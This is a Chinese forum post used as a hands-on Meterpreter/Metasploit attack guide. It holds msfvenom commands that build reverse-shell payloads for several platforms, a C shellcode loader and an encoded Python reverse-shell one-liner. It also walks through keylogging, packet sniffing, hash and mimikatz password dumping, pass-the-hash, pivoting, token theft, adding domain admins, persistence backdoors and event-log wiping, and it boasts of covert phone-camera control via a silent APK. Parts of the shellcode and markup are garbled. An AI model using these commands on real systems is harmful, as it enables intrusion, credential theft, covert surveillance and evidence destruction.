阅读:4487回复:0
Meterpreter Guide
由于网上很多文章乱而不全或者过期了 所以打算噜这篇来做个笔记~ 方便自己以后查阅:)
◆1 入门篇(生成与接收) 功能介绍 msfpayload和msfencode已经被时代淘汰了现在都转为msfvenom了 msfvenom命令行选项如下: Options: -p, --payload payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsled length> 为payload预先指定一个NOP滑动长度 -f, --format format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch architecture> 指定payload的目标架构 --platform platform> 指定payload的目标平台 -s, --space length> 设定有效攻击荷载的最大长度 -b, --bad-chars list> 设定规避字符集,比如: 'x00xff' -i, --iterations count> 指定payload的编码次数 -c, --add-code path> 指定一个附加的win32 shellcode文件 -x, --template path> 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out path> 保存payload -v, --var-name name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表 查看一个Payload具体需要什么参数 msfvenom -p windows/meterpreter/bind_tcp --payload-options Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none) LPORT 4444 yes The listen port RHOST no The target address 只示范reverse_tcp 大家可以根据各种不同的环境来选择Payload reverse_http or bind_tcp ... 自己本地生成的bind_tcp的payload并不能在Windows机子上运行 (提示不是可用的Win32程序:(....) 如果大家也有遇到这种错误的话 推荐用msfvenom生成c的shellcode 然后自己编译为exe后运行:) 说不定还有以外的效果哦~ 分享一个bind_tcp的栗子 (自行更改shelcode) #include "windows.h" #include "stdio.h" typedef void (_stdcall *CODE)(); unsigned char shellcode[] = "xfcxe8x82x0◆◆0x60x89xe5x31xc0x64x8bx50x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52" "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1" "x51x8bx59x2◆1xd3x8bx49x18xe3x3ax49x8bx34x8b" "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03" "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b" "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24" "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb" "x8dx5dx68x33x32x0◆0x68x77x73x32x5fx54x68x4c" "x77x26x07xffxd5xb8x9◆1x0◆0x29xc4x54x50x68" "x29x80x6bx00xffxd5x6ax08x59x50xe2xfdx40x50x40" "x50x68xeax0fxdfxe0xffxd5x97x68x02x00x11x5cx89" "xe6x6ax10x56x57x68xc2xdbx37x67xffxd5x85xc0x75" "x50x57x68xb7xe9x38xffxffxd5x57x68x74xecx3bxe1" "xffxd5x97x6ax00x6ax04x56x57x68x02xd9xc8x5fxff" "xd5x83xf8x00x7ex2dx8bx36x6ax40x68x00x1◆◆0" "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56" "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7ex07x01" "xc3x29xc6x75xe9xc3xbbxf0xb5xa2x56x6ax00x53xff" "xd5"; void RunShellCode() { ( (void (*)(void))&shellcode )(); } void main() { RunShellCode(); } 具体编码方式和编码次数大家可以自行改变:) 使用msfvenom --list可以查看所有的payload encoder nops...哦~~ 生成Windows reverse_tcp payload msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 -f exe -o ~/Desktop/shell.exe or msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 -f exe -o ~/Desktop/shell.exe 生成Python reverse_tcp payload msfvenom -p python/meterpreter/reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 生成出来的Python是可以直接解码来改IP的端口的 所以可以不用浪费时间生成payload 大家自行更改IP和端口~ import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxNzIuMjIuMjUuNTEnLDIzMzMzKSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg=='))) 生成java payload msfvenom -p java/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 -o ~/Desktop/123.jar 生成php payload msfvenom -p php/meterpreter_reverse_tcp LHOST=10.42.0.1 LPORT=23333 -o ~/Desktop/123.php 生成Linux payload msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 -f elf -o ~/Desktop/123.elf 生成Android的payload :) msfvenom -p android/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 -o ~/Desktop/1234.apk 生成后 手机点击app无任何反应 app就默默的后台运行 干啥都行:) so cool!偷偷控制手机摄像头! 图片:2015110211392779444.png 接收 msf > use multi/handler msf exploit(handler) > set payload android/meterpreter/reverse_tcp payload => android/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 23333 LPORT => 23333 msf exploit(handler) > set LHOST 10.42.0.1 LHOST => 10.42.0.1 msf exploit(handler) > exploit ◆2 Go on:) 基本命令: background # 让meterpreter处于后台模式 sessions -i number # 与会话进行交互,number表示第n个session quit # 退出会话 shell # 获得命令行 cat c:boot.ini # 查看文件内容 getwd # 查看当前工作目录 work directory upload /root/Desktop/netcat.exe c: # 上传文件到目标机上 download 0xfa.txt /root/Desktop/ # 下载文件到本机上 edit c:boot.ini # 编辑文件 search -d d:www -f web.config # search 文件 ps # 查看当前活跃进程 migrate pid # 将Meterpreter会话移植到进程数位pid的进程中 execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互 getpid # 获取当前进程的pid kill pid # 杀死进程 getuid # 查看权限 sysinfo # 查看目标机系统信息,如机器名,操作系统等 getsystem #提权操作 timestompc:/a.doc -c "10/27/2015 14:22:11" #修改文件的创建时间 迁移进程 meterpreter > ps 自行选择PID meterpreter > migrate pid 提权操作 [*]getsystem 大部分都会失败 他只尝试了4个Payload。 meterpreter > getuid Server username: TestingCroxy meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. [*]使用MS14-058之类的Exp进行提权 meterpreter > background [*] Backgrounding session 3.. msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set SESSION 3 图片:2015110211392779444.png 再也不用去网上找Exp来下载拉~:) 获取敏感信息(Windows版本 Linux自行选择) run post/windows/gather/checkvm #是否虚拟机 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下 详细请参考 http://drops.wooyun.org/tips/9732 键盘记录 meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... dir cd meterpreter > keyscan_stop Stopping the keystroke sniffer... 网络嗅探 meterpreter > use sniffer Loading extension sniffer...success. meterpreter > sniffer_interfaces 1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false ) 2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) 3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false ) meterpreter > sniffer_start 2 [*] Capture started on interface 2 (50000 packet buffer) meterpreter > sniffer_dump 2 /tmp/test2.cap [*] Flushing packet capture buffer for interface 2... [*] Flushed 1176 packets (443692 bytes) [*] Downloaded 100% (443692/443692)... [*] Download completed, converting to PCAP... [*] PCAP file written to /tmp/test2.cap 获取Hash meterpreter > run post/windows/gather/smart_hashdump [*] Running module against TESTING [*] Hashes will be saved to the database if one is connected. [*] Hashes will be saved in loot in JtR password file format to: [*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [+] Croxy:"Whoareyou" [*] Dumping password hashes... [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0::: [+] test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d::: 获取明文密码 meterpreter > getuid Server username: NT AUTHORITYSYSTEM meterpreter > load mimikatz Loading extension mimikatz...success. meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== meterpreter > mimikatz_command -f samdump::hashes Ordinateur : Testing BootKey : 8c2c8d96e92a8ccfc407a1ca48531239 meterpreter > mimikatz_command -f sekurlsa::searchPasswords [0] { Croxy ; Testing ; hehe } [1] { test ; Testing ; test } 通过Hash获取权限 msf > use exploit/windows/smb/psexec msf exploit(psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SHARE ADMIN$ yes The share to connect to, can be an admi n share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain WORKGROUP no The Windows domain to use for authentic ation SMBPass no The password for the specified username SMBUser no The username to authenticate as Exploit target: Id Name -- ---- 0 Automatic msf exploit(psexec) > set RHOST 192.168.0.254 RHOST => 192.168.0.254 msf exploit(psexec) > set SMBUser isosky SMBUser => isosky msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 msf exploit(psexec) > exploit [*] Started reverse handler on 192.168.0.3:4444 [*] Connecting to the server... [*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'... [*] Uploading payload... [*] Created UGdecsam.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting UGdecsam.exe... [*] Sending stage (749056 bytes) to 192.168.0.254 [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800 ◆3 内网渗透 10.42.0.54为target 端口转发 meterpreter > portfwd add -l 1234 -p 3389 -r 10.42.0.54 [*] Local TCP relay created: 0.0.0.0:8081 10.42.0.54:80 将远程主机3389端口转发到本地1234端口上 内网代理 Windows meterpreter > run autoroute -s 10.42.0`.54 [*] Adding a route to 10.42.0.54/255.255.255.0... [+] Added route to 10.42.0.54/255.255.255.0 via 10.42.0.54 [*] Use the -p option to list all active routes meterpreter > background [*] Backgrounding session 1... msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.42.0.54 255.255.255.0 Session 1 msf auxiliary(socks4a) > ifconfig [*] exec: ifconfig msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx SRVHOST => xxx.xxx.xx.xx (xxx.xxx.xx.xx为自己运行msf的vps机子) msf auxiliary(socks4a) > exploit [*] Auxiliary module execution completed [*] Starting the socks4a proxy server 之后使用proxychains 设置socks4代理 链接vps上的1080端口 就可以访问内网了 SSH代理 msf > load meta_ssh msf > use multi/ssh/login_password msf > set RHOST 192.168.56.3 RHOST => 192.168.56.3 msf > set USER test USER => test msf > set PASS reverse PASS => reverse msf > set PAYLOAD ssh/metassh_session PAYLOAD => ssh/metassh_session msf > exploit -z [*] Connecting to [email protected]:22 with password reverse [*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300 [*] Session 1 created in the background. msf > route add 192.168.57.0 255.255.255.0 1 之后就是愉快的内网扫描了 当然还是推荐直接用 ssh -f -N -D 127.0.0.1:6666 [email protected] 偷取Token meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID meterpreter>steal_token pid 方法2 meterpreter > getuid Server username: NT AUTHORITYSYSTEM meterpreter > load incognito Loading extension incognito...success. meterpreter > list_tokens -u Delegation Tokens Available ======================================== IIS APPPOOLzyk NT AUTHORITYIUSR NT AUTHORITYLOCAL SERVICE NT AUTHORITYNETWORK SERVICE NT AUTHORITYSYSTEM QLWEBAdministrator Impersonation Tokens Available ======================================== NT AUTHORITYANONYMOUS LOGON meterpreter > impersonate_token QLWEBAdministrator [+] Delegation token available [+] Successfully impersonated user QLWEBAdministrator meterpreter > getuid Server username: QLWEBAdministrator meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户 meterpreter>add_group_user “DomainAdmins” 0xfa –h192.168.3.98 #将账户添加至域管理员组 如果有了域控:) nidongde 内网扫描 meterpreter > run autoroute -s 192.168.3.98 meterpreter > background [*] Backgrounding session 2... msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306 PORTS => 80,8080,21,22,3389,445,1433,3306 msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24 RHOSTS => 192.168.3.1/24 msf auxiliary(tcp) > set THERADS 10 THERADS => 10 msf auxiliary(tcp) > exploit 图片:2015110211392779444.png 我还是推荐开代理用Nmap扫描>.</p p一些常用的破解模块/p precodeauxiliary/scanner/mssql/mssql_login auxiliary/scanner/ftp/ftp_login auxiliary/scanner/ssh/ssh_login auxiliary/scanner/telnet/telnet_login auxiliary/scanner/smb/smb_login auxiliary/scanner/mssql/mssql_login auxiliary/scanner/mysql/mysql_login auxiliary/scanner/oracle/oracle_login auxiliary/scanner/postgres/postgres_login auxiliary/scanner/vnc/vnc_login auxiliary/scanner/pcanywhere/pcanywhere_login auxiliary/scanner/snmp/snmp_login auxiliary/scanner/ftp/anonymous /code/pre p 图片:2015110211392779444.png p一些好用的模块/p precodeauxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具) auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版 洞略老) auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:)) auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:) auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令 没回显:() auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友) auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:) auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行) auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句) /code/pre p还一些。。。。你懂的脚本 :)/p precodeauxiliary/scanner/rsync/modules_list (Rsync) auxiliary/scanner/misc/redis_server (Redis) auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血) auxiliary/scanner/mongodb/mongodb_login (Mongodb) auxiliary/scanner/elasticsearch/indices_enum (elasticsearch) auxiliary/scanner/http/axis_local_file_include (axis本地文件包含) auxiliary/scanner/http/http_put (http Put) auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户) auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户) auxiliary/scanner/http/svn_scanner (svn Hunter :)) auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破) auxiliary/scanner/http/zabbix_login (Zabbix :)) /code/pre h1◆4 AfterWards?/h1 hr / h3后门:)/h3 precode一个vbs后门 写入了开机启动项 但是容易被发现 还是需要大家发挥自己的智慧:) meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1 [*] Running Persistance Script [*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 [*] Persistent agent script is 148453 bytes long [+] Persistent Script written to C:UsersCroxyAppDataLocalTempulZpjVBN.vbs [*] Executing script C:UsersCroxyAppDataLocalTempulZpjVBN.vbs [+] Agent executed with PID 4140 [*] Installing into autorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRunokiASNRzcLenulr [+] Installed into autorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRunokiASNRzcLenulr </pre> Meterpreter服务后门 [code]meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:UsersCroxyAppDataLocalTemptuIKWqmuO... [*] >> Uploading metsrv.x86.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service * Service metsvc successfully installed. [/code] 之后电脑就默默生成了一个自启服务Meterpreter 然后连接后门 [code]msf exploit(handler) > use exploit/multi/handler msf exploit(handler) > set payload windows/metsvc_bind_tcp payload => windows/metsvc_bind_tcp msf exploit(handler) > set RHOST 10.42.0.54 RHOST => 10.42.0.54 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit [/code] 清理痕迹:) [code]meterpreter > clearev [*] Wiping 12348 records from Application... [*] Wiping 1345 records from System... [*] Wiping 3 records from Security... [/code] ◆5 And So On... Look it Tree Meterpreter太强大~ 待续补充完整:) 不足请见谅:) Thanks: [*]http://drops.wooyun.org/tips/24 [*]http://drops.wooyun.org/tips/5234 |
|